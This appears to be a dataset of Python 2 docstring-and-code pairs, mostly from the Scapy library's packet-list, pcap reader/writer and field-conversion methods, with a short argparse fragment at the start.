if ((not args) or ((len(args) == 1) and (args[0][0] not in chars))):
kwargs = self._get_positional_kwargs(*args, **kwargs)
else:
kwargs = self._get_optional_kwargs(*args, **kwargs)
if ('default' not in kwargs):
dest = kwargs['dest']
if (dest in self._defaults):
kwargs['default'] = self._defaults[dest]
elif (self.argument_default is not None):
kwargs['default'] = self.argument_default
action_class = self._pop_action_class(kwargs)
action = action_class(**kwargs)
return self._add_action(action)
|
'error(message: string)
Prints a usage message incorporating the message to stderr and
exits.
If you override this in a subclass, it should not return -- it
should either exit or raise an exception.'
| def error(self, message):
| self.print_help(_sys.stderr)
self._print_message('\n\n', _sys.stderr)
self.exit(2, (_('%s: error: %s\n') % (self.prog, message)))
|
'create a packet list from a list of packets
res: the list of packets
stats: a list of classes that will appear in the stats (defaults to [TCP,UDP,ICMP])'
| def __init__(self, res=None, name='PacketList', stats=None):
| if (stats is None):
stats = conf.stats_classic_protocols
self.stats = stats
if (res is None):
res = []
if isinstance(res, PacketList):
res = res.res
self.res = res
self.listname = name
|
'prints a summary of each packet
prn: function to apply to each packet instead of lambda x:x.summary()
lfilter: truth function to apply to each packet to decide whether it will be displayed'
| def summary(self, prn=None, lfilter=None):
| for r in self.res:
if (lfilter is not None):
if (not lfilter(r)):
continue
if (prn is None):
print self._elt2sum(r)
else:
print prn(r)
|
'prints a summary of each packet with the packet\'s number
prn: function to apply to each packet instead of lambda x:x.summary()
lfilter: truth function to apply to each packet to decide whether it will be displayed'
| def nsummary(self, prn=None, lfilter=None):
| for i in range(len(self.res)):
if (lfilter is not None):
if (not lfilter(self.res[i])):
continue
print conf.color_theme.id(i, fmt='%04i'),
if (prn is None):
print self._elt2sum(self.res[i])
else:
print prn(self.res[i])
|
'deprecated. is show()'
| def display(self):
| self.show()
|
'Best way to display the packet list. Defaults to nsummary() method'
| def show(self, *args, **kargs):
| return self.nsummary(*args, **kargs)
|
'Returns a packet list filtered by a truth function'
| def filter(self, func):
| return self.__class__(filter(func, self.res), name=('filtered %s' % self.listname))
|
'Prints a table using a function that returs for each packet its head column value, head row value and displayed value
ex: p.make_table(lambda x:(x[IP].dst, x[TCP].dport, x[TCP].sprintf("%flags%"))'
| def make_table(self, *args, **kargs):
| return make_table(self.res, *args, **kargs)
|
'Same as make_table, but print a table with lines'
| def make_lined_table(self, *args, **kargs):
| return make_lined_table(self.res, *args, **kargs)
|
'Same as make_table, but print a table with LaTeX syntax'
| def make_tex_table(self, *args, **kargs):
| return make_tex_table(self.res, *args, **kargs)
|
'Applies a function to each packet to get a value that will be plotted with GnuPlot. A gnuplot object is returned
lfilter: a truth function that decides whether a packet must be ploted'
| def plot(self, f, lfilter=None, **kargs):
| g = Gnuplot.Gnuplot()
l = self.res
if (lfilter is not None):
l = filter(lfilter, l)
l = map(f, l)
g.plot(Gnuplot.Data(l, **kargs))
return g
|
'diffplot(f, delay=1, lfilter=None)
Applies a function to couples (l[i],l[i+delay])'
| def diffplot(self, f, delay=1, lfilter=None, **kargs):
| g = Gnuplot.Gnuplot()
l = self.res
if (lfilter is not None):
l = filter(lfilter, l)
l = map(f, l[:(- delay)], l[delay:])
g.plot(Gnuplot.Data(l, **kargs))
return g
|
'Uses a function that returns a label and a value for this label, then plots all the values label by label'
| def multiplot(self, f, lfilter=None, **kargs):
| g = Gnuplot.Gnuplot()
l = self.res
if (lfilter is not None):
l = filter(lfilter, l)
d = {}
for e in l:
(k, v) = f(e)
if (k in d):
d[k].append(v)
else:
d[k] = [v]
data = []
for k in d:
data.append(Gnuplot.Data(d[k], title=k, **kargs))
g.plot(*data)
return g
|
'Prints an hexadecimal dump of each packet in the list'
| def rawhexdump(self):
| for p in self:
hexdump(self._elt2pkt(p))
|
'Same as nsummary(), except that if a packet has a Raw layer, it will be hexdumped
lfilter: a truth function that decides whether a packet must be displayed'
| def hexraw(self, lfilter=None):
| for i in range(len(self.res)):
p = self._elt2pkt(self.res[i])
if ((lfilter is not None) and (not lfilter(p))):
continue
print ('%s %s %s' % (conf.color_theme.id(i, fmt='%04i'), p.sprintf('%.time%'), self._elt2sum(self.res[i])))
if p.haslayer(conf.raw_layer):
hexdump(p.getlayer(conf.raw_layer).load)
|
'Same as nsummary(), except that packets are also hexdumped
lfilter: a truth function that decides whether a packet must be displayed'
| def hexdump(self, lfilter=None):
| for i in range(len(self.res)):
p = self._elt2pkt(self.res[i])
if ((lfilter is not None) and (not lfilter(p))):
continue
print ('%s %s %s' % (conf.color_theme.id(i, fmt='%04i'), p.sprintf('%.time%'), self._elt2sum(self.res[i])))
hexdump(p)
|
'Same as hexraw(), for Padding layer'
| def padding(self, lfilter=None):
| for i in range(len(self.res)):
p = self._elt2pkt(self.res[i])
if p.haslayer(Padding):
if ((lfilter is None) or lfilter(p)):
print ('%s %s %s' % (conf.color_theme.id(i, fmt='%04i'), p.sprintf('%.time%'), self._elt2sum(self.res[i])))
hexdump(p.getlayer(Padding).load)
|
'Same as padding() but only non null padding'
| def nzpadding(self, lfilter=None):
| for i in range(len(self.res)):
p = self._elt2pkt(self.res[i])
if p.haslayer(Padding):
pad = p.getlayer(Padding).load
if (pad == (pad[0] * len(pad))):
continue
if ((lfilter is None) or lfilter(p)):
print ('%s %s %s' % (conf.color_theme.id(i, fmt='%04i'), p.sprintf('%.time%'), self._elt2sum(self.res[i])))
hexdump(p.getlayer(Padding).load)
|
'Graphes a conversations between sources and destinations and display it
(using graphviz and imagemagick)
getsrcdst: a function that takes an element of the list and return the source and dest
by defaults, return source and destination IP
type: output type (svg, ps, gif, jpg, etc.), passed to dot\'s "-T" option
target: filename or redirect. Defaults pipe to Imagemagick\'s display program
prog: which graphviz program to use'
| def conversations(self, getsrcdst=None, **kargs):
| if (getsrcdst is None):
getsrcdst = (lambda x: (x['IP'].src, x['IP'].dst))
conv = {}
for p in self.res:
p = self._elt2pkt(p)
try:
c = getsrcdst(p)
except:
continue
conv[c] = (conv.get(c, 0) + 1)
gr = 'digraph "conv" {\n'
for (s, d) in conv:
gr += (' DCTB "%s" -> "%s"\n' % (s, d))
gr += '}\n'
return do_graph(gr, **kargs)
|
'Experimental clone attempt of http://sourceforge.net/projects/afterglow
each datum is reduced as src -> event -> dst and the data are graphed.
by default we have IP.src -> IP.dport -> IP.dst'
| def afterglow(self, src=None, event=None, dst=None, **kargs):
| if (src is None):
src = (lambda x: x['IP'].src)
if (event is None):
event = (lambda x: x['IP'].dport)
if (dst is None):
dst = (lambda x: x['IP'].dst)
sl = {}
el = {}
dl = {}
for i in self.res:
try:
(s, e, d) = (src(i), event(i), dst(i))
if (s in sl):
(n, l) = sl[s]
n += 1
if (e not in l):
l.append(e)
sl[s] = (n, l)
else:
sl[s] = (1, [e])
if (e in el):
(n, l) = el[e]
n += 1
if (d not in l):
l.append(d)
el[e] = (n, l)
else:
el[e] = (1, [d])
dl[d] = (dl.get(d, 0) + 1)
except:
continue
import math
def normalize(n):
return (2 + (math.log(n) / 4.0))
def minmax(x):
(m, M) = (min(x), max(x))
if (m == M):
m = 0
if (M == 0):
M = 1
return (m, M)
(mins, maxs) = minmax(map((lambda (x, y): x), sl.values()))
(mine, maxe) = minmax(map((lambda (x, y): x), el.values()))
(mind, maxd) = minmax(dl.values())
gr = 'digraph "afterglow" {\n DCTB edge [len=2.5];\n'
gr += '# src nodes\n'
for s in sl:
(n, l) = sl[s]
n = (1 + (float((n - mins)) / (maxs - mins)))
gr += ('"src.%s" [label = "%s", shape=box, fillcolor="#FF0000", style=filled, fixedsize=1, height=%.2f,width=%.2f];\n' % (`s`, `s`, n, n))
gr += '# event nodes\n'
for e in el:
(n, l) = el[e]
n = n = (1 + (float((n - mine)) / (maxe - mine)))
gr += ('"evt.%s" [label = "%s", shape=circle, fillcolor="#00FFFF", style=filled, fixedsize=1, height=%.2f, width=%.2f];\n' % (`e`, `e`, n, n))
for d in dl:
n = dl[d]
n = n = (1 + (float((n - mind)) / (maxd - mind)))
gr += ('"dst.%s" [label = "%s", shape=triangle, fillcolor="#0000ff", style=filled, fixedsize=1, height=%.2f, width=%.2f];\n' % (`d`, `d`, n, n))
gr += '###\n'
for s in sl:
(n, l) = sl[s]
for e in l:
gr += (' "src.%s" -> "evt.%s";\n' % (`s`, `e`))
for e in el:
(n, l) = el[e]
for d in l:
gr += (' "evt.%s" -> "dst.%s";\n' % (`e`, `d`))
gr += '}'
return do_graph(gr, **kargs)
|
'Creates a multipage poscript file with a psdump of every packet
filename: name of the file to write to. If empty, a temporary file is used and
conf.prog.psreader is called'
| def psdump(self, filename=None, **kargs):
| d = self._dump_document(**kargs)
if (filename is None):
filename = get_temp_file(autoext='.ps')
d.writePSfile(filename)
subprocess.Popen([conf.prog.psreader, (filename + '.ps')])
else:
d.writePSfile(filename)
print
|
'Creates a PDF file with a psdump of every packet
filename: name of the file to write to. If empty, a temporary file is used and
conf.prog.pdfreader is called'
| def pdfdump(self, filename=None, **kargs):
| d = self._dump_document(**kargs)
if (filename is None):
filename = get_temp_file(autoext='.pdf')
d.writePDFfile(filename)
subprocess.Popen([conf.prog.pdfreader, (filename + '.pdf')])
else:
d.writePDFfile(filename)
print
|
'sr([multi=1]) -> (SndRcvList, PacketList)
Matches packets in the list and return ( (matched couples), (unmatched packets) )'
| def sr(self, multi=0):
| remain = self.res[:]
sr = []
i = 0
while (i < len(remain)):
s = remain[i]
j = i
while (j < (len(remain) - 1)):
j += 1
r = remain[j]
if r.answers(s):
sr.append((s, r))
if multi:
remain[i]._answered = 1
remain[j]._answered = 2
continue
del remain[j]
del remain[i]
i -= 1
break
i += 1
if multi:
remain = filter((lambda x: (not hasattr(x, '_answered'))), remain)
return (SndRcvList(sr), PacketList(remain))
|
'lst.replace(<field>,[<oldvalue>,]<newvalue>)
lst.replace( (fld,[ov],nv),(fld,[ov,]nv),...)
if ov is None, all values are replaced
ex:
lst.replace( IP.src, "192.168.1.1", "10.0.0.1" )
lst.replace( IP.ttl, 64 )
lst.replace( (IP.ttl, 64), (TCP.sport, 666, 777), )'
| def replace(self, *args, **kargs):
| delete_checksums = kargs.get('delete_checksums', False)
x = PacketList(name=('Replaced %s' % self.listname))
if (type(args[0]) is not tuple):
args = (args,)
for p in self.res:
p = self._elt2pkt(p)
copied = False
for scheme in args:
fld = scheme[0]
old = scheme[1]
new = scheme[(-1)]
for o in fld.owners:
if (o in p):
if ((len(scheme) == 2) or (p[o].getfieldval(fld.name) == old)):
if (not copied):
p = p.copy()
if delete_checksums:
p.delete_checksums()
copied = True
setattr(p[o], fld.name, new)
x.append(p)
return x
|
'impliment the iterator protocol on a set of packets in a pcap file'
| def next(self):
| pkt = self.read_packet()
if (pkt == None):
raise StopIteration
return pkt
|
'return a single packet read from the file
returns None when no more packets are available'
| def read_packet(self, size=MTU):
| hdr = self.f.read(16)
if (len(hdr) < 16):
return None
(sec, usec, caplen, wirelen) = struct.unpack((self.endian + 'IIII'), hdr)
s = self.f.read(caplen)[:MTU]
return (s, (sec, usec, wirelen))
|
'call the specified callback routine for each packet read
This is just a convienience function for the main loop
that allows for easy launching of packet processing in a
thread.'
| def dispatch(self, callback):
| for p in self:
callback(p)
|
'return a list of all packets in the pcap file'
| def read_all(self, count=(-1)):
| res = []
while (count != 0):
count -= 1
p = self.read_packet()
if (p is None):
break
res.append(p)
return res
|
'Emulate a socket'
| def recv(self, size=MTU):
| return self.read_packet(size)[0]
|
'linktype: force linktype to a given value. If None, linktype is taken
from the first writter packet
gz: compress the capture on the fly
endianness: force an endianness (little:"<", big:">"). Default is native
append: append packets to the capture file instead of truncating it
sync: do not bufferize writes to the capture file'
| def __init__(self, filename, linktype=None, gz=False, endianness='', append=False, sync=False):
| self.linktype = linktype
self.header_present = 0
self.append = append
self.gz = gz
self.endian = endianness
self.filename = filename
self.sync = sync
bufsz = 4096
if sync:
bufsz = 0
self.f = [open, gzip.open][gz](filename, ((append and 'ab') or 'wb'), ((gz and 9) or bufsz))
|
'accepts a either a single packet or a list of packets
to be written to the dumpfile'
| def write(self, pkt):
| if (not self.header_present):
self._write_header(pkt)
if (type(pkt) is str):
self._write_packet(pkt)
else:
for p in pkt:
self._write_packet(p)
|
'writes a single packet to the pcap file'
| def _write_packet(self, packet, sec=None, usec=None, caplen=None, wirelen=None):
| if (caplen is None):
caplen = len(packet)
if (wirelen is None):
wirelen = caplen
if ((sec is None) or (usec is None)):
t = time.time()
it = int(t)
if (sec is None):
sec = it
if (usec is None):
usec = int(round(((t - it) * 1000000)))
self.f.write(struct.pack((self.endian + 'IIII'), sec, usec, caplen, wirelen))
self.f.write(packet)
if (self.gz and self.sync):
self.f.flush()
|
'Convert internal value to a length usable by a FieldLenField'
| def i2len(self, pkt, x):
| return self.sz
|
'Convert internal value to a number of elements usable by a FieldLenField.
Always 1 except for list fields'
| def i2count(self, pkt, x):
| return 1
|
'Convert human value to internal value'
| def h2i(self, pkt, x):
| return x
|
'Convert internal value to human value'
| def i2h(self, pkt, x):
| return x
|
'Convert machine value to internal value'
| def m2i(self, pkt, x):
| return x
|
'Convert internal value to machine value'
| def i2m(self, pkt, x):
| if (x is None):
x = 0
return x
|
'Try to understand the most input values possible and make an internal value from them'
| def any2i(self, pkt, x):
| return self.h2i(pkt, x)
|
'Convert internal value to a nice representation'
| def i2repr(self, pkt, x):
| return repr(self.i2h(pkt, x))
|
'Add an internal value to a string'
| def addfield(self, pkt, s, val):
| return (s + struct.pack(self.fmt, self.i2m(pkt, val)))
|
'Extract an internal value from a string'
| def getfield(self, pkt, s):
| return (s[self.sz:], self.m2i(pkt, struct.unpack(self.fmt, s[:self.sz])[0]))
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.